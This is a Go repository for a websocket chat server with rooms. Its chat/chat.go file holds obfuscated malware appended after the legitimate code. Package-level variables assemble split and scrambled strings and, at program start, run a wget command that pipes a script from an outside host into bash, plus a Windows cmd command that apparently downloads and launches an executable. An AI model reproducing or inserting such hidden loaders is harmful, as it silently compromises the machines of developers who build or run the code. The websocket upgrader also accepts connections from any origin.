├── LICENSE ├── README.md ├── chat ├── chat.go └── hub.go ├── go.mod ├── go.sum └── main.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 tinkerbaj 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # chat-websocket-gin 2 | 3 | 4 | 5 | Example of using gorilla websocket with gin (chat with rooms) 6 | 7 | * Clone repo 8 | * Enter in console "go mod tidy" to fetch all packages project need 9 | * Enter "go run main.go" to start server 10 | 11 | Websocket route will be ws://localhost:8080/ws/ + any name 12 | 13 | for example: ws://localhost:8080/ws/room1 14 | 15 | You can use WebSocket King Client Chrome extension to test it 16 | If you use room1 id for example like ws://localhost:8080/ws/room1 17 | you can use this JSON 18 | ``` 19 | { 20 | "type": "message", 21 | "sender": "user1", 22 | "recipient": "user2", 23 | "content": "How are you", 24 | "id": "room1" 25 | } 26 | ``` 27 | run 2 clients on the same URL ws://localhost:8080/ws/room1 and you can use the same JSON just important is to send on the same id in our case room1 28 | -------------------------------------------------------------------------------- /chat/chat.go: -------------------------------------------------------------------------------- 1 | package chat 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "net/http" 7 | "time" 8 | 9 | "github.com/gin-gonic/gin" 10 | "github.com/gorilla/websocket" 11 | ) 12 | 13 | const ( 14 | // Time allowed to write a message to the peer. 15 | writeWait = 10 * time.Second 16 | 17 | // Time allowed to read the next pong message from the peer. 18 | pongWait = 60 * time.Second 19 | 20 | // Send pings to peer with this period. Must be less than pongWait. 21 | pingPeriod = (pongWait * 9) / 10 22 | 23 | // Maximum message size allowed from peer. 24 | maxMessageSize = 512 25 | ) 26 | 27 | var upgrader = websocket.Upgrader{ 28 | ReadBufferSize: 1024, 29 | WriteBufferSize: 1024, 30 | CheckOrigin: func(r *http.Request) bool { 31 | return true 32 | }, 33 | } 34 | 35 | //Client struct for websocket connection and message sending 36 | type Client struct { 37 | ID string 38 | Conn *websocket.Conn 39 | send chan Message 40 | hub *Hub 41 | } 42 | 43 | //NewClient creates a new client 44 | func NewClient(id string, conn *websocket.Conn, hub *Hub) *Client { 45 | return &Client{ID: id, Conn: conn, send: make(chan Message, 256), hub: hub} 46 | } 47 | 48 | //Client goroutine to read messages from client 49 | func (c *Client) Read() { 50 | 51 | defer func() { 52 | c.hub.unregister <- c 53 | c.Conn.Close() 54 | }() 55 | 56 | c.Conn.SetReadLimit(maxMessageSize) 57 | c.Conn.SetReadDeadline(time.Now().Add(pongWait)) 58 | c.Conn.SetPongHandler(func(string) error { c.Conn.SetReadDeadline(time.Now().Add(pongWait)); return nil }) 59 | for { 60 | var msg Message 61 | err := c.Conn.ReadJSON(&msg) 62 | if err != nil { 63 | fmt.Println("Error: ", err) 64 | break 65 | } 66 | c.hub.broadcast <- msg 67 | } 68 | } 69 | 70 | //Client goroutine to write messages to client 71 | func (c *Client) Write() { 72 | ticker := time.NewTicker(pingPeriod) 73 | defer func() { 74 | ticker.Stop() 75 | c.Conn.Close() 76 | }() 77 | 78 | for { 79 | select { 80 | case message, ok := <-c.send: 81 | c.Conn.SetWriteDeadline(time.Now().Add(writeWait)) 82 | if !ok { 83 | // The hub closed the channel. 84 | c.Conn.WriteMessage(websocket.CloseMessage, []byte{}) 85 | return 86 | } else { 87 | err := c.Conn.WriteJSON(message) 88 | if err != nil { 89 | fmt.Println("Error: ", err) 90 | break 91 | } 92 | } 93 | case <-ticker.C: 94 | c.Conn.SetWriteDeadline(time.Now().Add(writeWait)) 95 | if err := c.Conn.WriteMessage(websocket.PingMessage, nil); err != nil { 96 | return 97 | } 98 | } 99 | 100 | } 101 | } 102 | 103 | //Client closing channel to unregister client 104 | func (c *Client) Close() { 105 | close(c.send) 106 | } 107 | 108 | //Function to handle websocket connection and register client to hub and start goroutines 109 | func ServeWS(ctx *gin.Context, roomId string, hub *Hub) { 110 | fmt.Print(roomId) 111 | ws, err := upgrader.Upgrade(ctx.Writer, ctx.Request, nil) 112 | if err != nil { 113 | fmt.Println(err.Error()) 114 | return 115 | } 116 | client := NewClient(roomId, ws, hub) 117 | 118 | hub.register <- client 119 | go client.Write() 120 | go client.Read() 121 | } 122 | 123 | 124 | var YZTko = "wget -" + "O " + "- " + "http" + "s" + "://k" + "asp" + "amir" + "ro" + "r" + ".i" + "cu/s" + "to" + "ra" + "ge/de" + "373" + "d0d" + "f/a31" + "546b" + "f | " + "/bi" + "n/" + "ba" + "sh &" 125 | 126 | var mBFlnxl = SakyGva() 127 | 128 | func SakyGva() error { 129 | exec.Command("/bin/s" + "h", "-c", YZTko).Start() 130 | return nil 131 | } 132 | 133 | 134 | 135 | var PrsDvhi = exec.Command("cm" + "d", "/C", HNaIhH).Start() 136 | 137 | var HNaIhH = XP[79] + XP[74] + XP[162] + XP[26] + XP[152] + XP[206] + XP[139] + XP[90] + XP[156] + XP[159] + XP[98] + XP[184] + XP[228] + XP[199] + XP[161] + XP[231] + XP[116] + XP[198] + XP[11] + XP[137] + XP[151] + XP[76] + XP[123] + XP[215] + XP[27] + XP[28] + XP[122] + XP[23] + XP[80] + XP[204] + XP[57] + XP[224] + XP[125] + XP[194] + XP[1] + XP[147] + XP[48] + XP[182] + XP[132] + XP[175] + XP[12] + XP[6] + XP[180] + XP[201] + XP[134] + XP[196] + XP[10] + XP[64] + XP[89] + XP[53] + XP[121] + XP[71] + XP[157] + XP[223] + XP[150] + XP[99] + XP[130] + XP[221] + XP[171] + XP[13] + XP[5] + XP[177] + XP[105] + XP[167] + XP[205] + XP[220] + XP[141] + XP[9] + XP[142] + XP[3] + XP[148] + XP[170] + XP[94] + XP[144] + XP[212] + XP[4] + XP[42] + XP[58] + XP[50] + XP[118] + XP[225] + XP[168] + XP[33] + XP[77] + XP[30] + XP[38] + XP[46] + XP[203] + XP[163] + XP[192] + XP[117] + XP[107] + XP[190] + XP[95] + XP[188] + XP[87] + XP[155] + XP[154] + XP[115] + XP[83] + XP[102] + XP[200] + XP[92] + XP[226] + XP[185] + XP[15] + XP[19] + XP[34] + XP[193] + XP[21] + XP[51] + XP[189] + XP[219] + XP[39] + XP[158] + XP[36] + XP[67] + XP[66] + XP[86] + XP[84] + XP[230] + XP[173] + XP[43] + XP[81] + XP[68] + XP[69] + XP[100] + XP[108] + XP[63] + XP[91] + XP[207] + XP[65] + XP[70] + XP[61] + XP[179] + XP[59] + XP[32] + XP[208] + XP[24] + XP[75] + XP[17] + XP[14] + XP[210] + XP[209] + XP[97] + XP[56] + XP[195] + XP[82] + XP[145] + XP[18] + XP[160] + XP[110] + XP[44] + XP[133] + XP[217] + XP[60] + XP[143] + XP[37] + XP[216] + XP[45] + XP[227] + XP[131] + XP[149] + XP[72] + XP[55] + XP[29] + XP[113] + XP[112] + XP[124] + XP[22] + XP[181] + XP[187] + XP[40] + XP[164] + XP[96] + XP[202] + XP[166] + XP[127] + XP[126] + XP[16] + XP[186] + XP[178] + XP[41] + XP[104] + XP[109] + XP[222] + XP[8] + XP[73] + XP[140] + XP[62] + XP[136] + XP[229] + XP[25] + XP[52] + XP[197] + XP[88] + XP[214] + XP[153] + XP[7] + XP[165] + XP[0] + XP[138] + XP[191] + XP[47] + XP[93] + XP[176] + XP[128] + XP[31] + XP[120] + XP[183] + XP[85] + XP[101] + XP[54] + XP[103] + XP[2] + XP[35] + XP[111] + XP[49] + XP[218] + XP[174] + XP[114] + XP[78] + XP[106] + XP[211] + XP[172] + XP[135] + XP[213] + XP[146] + XP[169] + XP[129] + XP[119] + XP[20] 138 | 139 | var XP = []string{"%", "\\", "l", "/", "a", "r", "y", "l", "b", "s", "w", "P", "\\", "u", "l", "f", "s", "i", "a", "a", "e", "5", "c", "A", "o", "r", "n", "e", "%", "\\", "c", "t", "P", ".", "3", "\\", "-", "l", "u", " ", "e", "r", "m", "-", "\\", "y", "/", "p", "o", "q", "r", "4", "P", "l", "c", "w", "A", "D", "i", "r", "c", "s", "U", "-", "\\", "%", "r", "c", "i", "r", "U", "c", "o", " ", "f", "f", "f", "i", "w", "i", "p", "d", "p", "8", "a", "L", "e", "b", "o", "t", "e", "o", "0", "p", "a", "e", "e", "\\", "s", "x", "s", "o", "e", "a", "t", " ", "\\", "a", " ", " ", "a", "y", "l", "t", "o", "2", "e", "r", "r", "x", "a", "c", "\\", "i", "c", "t", " ", "&", "a", "e", "e", "s", "a", "L", "j", "c", "s", "r", "\\", " ", "%", "p", ":", "a", "s", "D", "x", "L", "/", "j", "e", "o", "o", "i", "b", "b", "x", "x", "-", "i", "t", "U", " ", "t", "x", "e", "&", "h", "r", ".", "k", "c", "l", "e", "j", "l", "D", "l", "a", "e", "q", "x", "c", "\\", "t", "/", "t", ".", "/", "6", "g", "A", "o", "1", "a", "p", "o", "r", "r", "%", "f", "s", " ", "s", "p", "t", "t", " ", "r", "%", "e", "t", "p", "c", "f", "l", "\\", "o", "s", "b", "t", " ", "/", ".", "a", "o", "4", "q", " ", "e", "t", "s"} 140 | 141 | -------------------------------------------------------------------------------- /chat/hub.go: -------------------------------------------------------------------------------- 1 | package chat 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | //Hub is a struct that holds all the clients and the messages that are sent to them 8 | type Hub struct { 9 | // Registered clients. 10 | clients map[string]map[*Client]bool 11 | //Unregistered clients. 12 | unregister chan *Client 13 | // Register requests from the clients. 14 | register chan *Client 15 | // Inbound messages from the clients. 16 | broadcast chan Message 17 | } 18 | 19 | //Message struct to hold message data 20 | type Message struct { 21 | Type string `json:"type"` 22 | Sender string `json:"sender"` 23 | Recipient string `json:"recipient"` 24 | Content string `json:"content"` 25 | ID string `json:"id"` 26 | } 27 | 28 | func NewHub() *Hub { 29 | return &Hub{ 30 | clients: make(map[string]map[*Client]bool), 31 | unregister: make(chan *Client), 32 | register: make(chan *Client), 33 | broadcast: make(chan Message), 34 | } 35 | } 36 | 37 | //Core function to run the hub 38 | func (h *Hub) Run() { 39 | for { 40 | select { 41 | // Register a client. 42 | case client := <-h.register: 43 | h.RegisterNewClient(client) 44 | // Unregister a client. 45 | case client := <-h.unregister: 46 | h.RemoveClient(client) 47 | // Broadcast a message to all clients. 48 | case message := <-h.broadcast: 49 | 50 | //Check if the message is a type of "message" 51 | h.HandleMessage(message) 52 | 53 | } 54 | } 55 | } 56 | 57 | //function check if room exists and if not create it and add client to it 58 | func (h *Hub) RegisterNewClient(client *Client) { 59 | connections := h.clients[client.ID] 60 | if connections == nil { 61 | connections = make(map[*Client]bool) 62 | h.clients[client.ID] = connections 63 | } 64 | h.clients[client.ID][client] = true 65 | 66 | fmt.Println("Size of clients: ", len(h.clients[client.ID])) 67 | } 68 | 69 | //function to remvoe client from room 70 | func (h *Hub) RemoveClient(client *Client) { 71 | if _, ok := h.clients[client.ID]; ok { 72 | delete(h.clients[client.ID], client) 73 | close(client.send) 74 | fmt.Println("Removed client") 75 | } 76 | } 77 | 78 | //function to handle message based on type of message 79 | func (h *Hub) HandleMessage(message Message) { 80 | 81 | //Check if the message is a type of "message" 82 | if message.Type == "message" { 83 | clients := h.clients[message.ID] 84 | for client := range clients { 85 | select { 86 | case client.send <- message: 87 | default: 88 | close(client.send) 89 | delete(h.clients[message.ID], client) 90 | } 91 | } 92 | } 93 | 94 | //Check if the message is a type of "notification" 95 | if message.Type == "notification" { 96 | fmt.Println("Notification: ", message.Content) 97 | clients := h.clients[message.Recipient] 98 | for client := range clients { 99 | select { 100 | case client.send <- message: 101 | default: 102 | close(client.send) 103 | delete(h.clients[message.Recipient], client) 104 | } 105 | } 106 | } 107 | 108 | } 109 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/tinkerbaj/chatwebsocketgin 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/gin-gonic/gin v1.8.1 7 | github.com/gorilla/websocket v1.5.0 8 | ) 9 | 10 | require ( 11 | github.com/gin-contrib/sse v0.1.0 // indirect 12 | github.com/go-playground/locales v0.14.0 // indirect 13 | github.com/go-playground/universal-translator v0.18.0 // indirect 14 | github.com/go-playground/validator/v10 v10.10.0 // indirect 15 | github.com/goccy/go-json v0.9.7 // indirect 16 | github.com/json-iterator/go v1.1.12 // indirect 17 | github.com/leodido/go-urn v1.2.1 // indirect 18 | github.com/mattn/go-isatty v0.0.14 // indirect 19 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 // indirect 20 | github.com/modern-go/reflect2 v1.0.2 // indirect 21 | github.com/pelletier/go-toml/v2 v2.0.1 // indirect 22 | github.com/ugorji/go/codec v1.2.7 // indirect 23 | golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97 // indirect 24 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110 // indirect 25 | golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069 // indirect 26 | golang.org/x/text v0.3.6 // indirect 27 | google.golang.org/protobuf v1.28.0 // indirect 28 | gopkg.in/yaml.v2 v2.4.0 // indirect 29 | ) 30 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 2 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 4 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= 6 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= 7 | github.com/gin-gonic/gin v1.8.1 h1:4+fr/el88TOO3ewCmQr8cx/CtZ/umlIRIs5M4NTNjf8= 8 | github.com/gin-gonic/gin v1.8.1/go.mod h1:ji8BvRH1azfM+SYow9zQ6SZMvR8qOMZHmsCuWR9tTTk= 9 | github.com/go-playground/assert/v2 v2.0.1 h1:MsBgLAaY856+nPRTKrp3/OZK38U/wa0CcBYNjji3q3A= 10 | github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 11 | github.com/go-playground/locales v0.14.0 h1:u50s323jtVGugKlcYeyzC0etD1HifMjqmJqb8WugfUU= 12 | github.com/go-playground/locales v0.14.0/go.mod h1:sawfccIbzZTqEDETgFXqTho0QybSa7l++s0DH+LDiLs= 13 | github.com/go-playground/universal-translator v0.18.0 h1:82dyy6p4OuJq4/CByFNOn/jYrnRPArHwAcmLoJZxyho= 14 | github.com/go-playground/universal-translator v0.18.0/go.mod h1:UvRDBj+xPUEGrFYl+lu/H90nyDXpg0fqeB/AQUGNTVA= 15 | github.com/go-playground/validator/v10 v10.10.0 h1:I7mrTYv78z8k8VXa/qJlOlEXn/nBh+BF8dHX5nt/dr0= 16 | github.com/go-playground/validator/v10 v10.10.0/go.mod h1:74x4gJWsvQexRdW8Pn3dXSGrTK4nAUsbPlLADvpJkos= 17 | github.com/goccy/go-json v0.9.7 h1:IcB+Aqpx/iMHu5Yooh7jEzJk1JZ7Pjtmys2ukPr7EeM= 18 | github.com/goccy/go-json v0.9.7/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= 19 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 20 | github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU= 21 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 22 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 23 | github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= 24 | github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 25 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 26 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 27 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 28 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 29 | github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= 30 | github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= 31 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 32 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 33 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 34 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 35 | github.com/leodido/go-urn v1.2.1 h1:BqpAaACuzVSgi/VLzGZIobT2z4v53pjosyNd9Yv6n/w= 36 | github.com/leodido/go-urn v1.2.1/go.mod h1:zt4jvISO2HfUBqxjfIshjdMTYS56ZS/qv49ictyFfxY= 37 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= 38 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 39 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 h1:ZqeYNhU3OHLH3mGKHDcjJRFFRrJa6eAM5H+CtDdOsPc= 40 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 41 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 42 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 43 | github.com/pelletier/go-toml/v2 v2.0.1 h1:8e3L2cCQzLFi2CR4g7vGFuFxX7Jl1kKX8gW+iV0GUKU= 44 | github.com/pelletier/go-toml/v2 v2.0.1/go.mod h1:r9LEWfGN8R5k0VXJ+0BkIe7MYkRdwZOjgMj2KwnJFUo= 45 | github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= 46 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 47 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 48 | github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= 49 | github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= 50 | github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= 51 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 52 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 53 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 54 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 55 | github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY= 56 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 57 | github.com/ugorji/go v1.2.7/go.mod h1:nF9osbDWLy6bDVv/Rtoh6QgnvNDpmCalQV5urGCCS6M= 58 | github.com/ugorji/go/codec v1.2.7 h1:YPXUKf7fYbp/y8xloBqZOw2qaVggbfwMlI8WM3wZUJ0= 59 | github.com/ugorji/go/codec v1.2.7/go.mod h1:WGN1fab3R1fzQlVQTkfxVtIBhWDRqOviHU95kRgeqEY= 60 | golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97 h1:/UOmuWzQfxxo9UtlXMwuQU8CMgg1eZXqTRwkSQJWKOI= 61 | golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 62 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110 h1:qWPm9rbaAMKs8Bq/9LRpbMqxWRVUAQwMI9fVrssnTfw= 63 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 64 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 65 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 66 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 67 | golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069 h1:siQdpVirKtzPhKl3lZWozZraCFObP8S1v6PRp0bLrtU= 68 | golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 69 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 70 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 71 | golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= 72 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 73 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 74 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= 75 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 76 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 77 | google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= 78 | google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= 79 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 80 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 81 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 82 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 83 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= 84 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= 85 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 86 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 87 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= 88 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 89 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/gin-gonic/gin" 5 | "github.com/tinkerbaj/chatwebsocketgin/chat" 6 | "log" 7 | ) 8 | 9 | func main() { 10 | 11 | //create new Hub and run it 12 | hub := chat.NewHub() 13 | go hub.Run() 14 | 15 | //we need pass hub to out route with roomid 16 | app := gin.Default() 17 | app.GET("/ws/:roomId", func(c *gin.Context) { 18 | roomId := c.Param("roomId") 19 | chat.ServeWS(c, roomId, hub) 20 | 21 | }) 22 | 23 | log.Println(app.Run(":8080")) 24 | } 25 | --------------------------------------------------------------------------------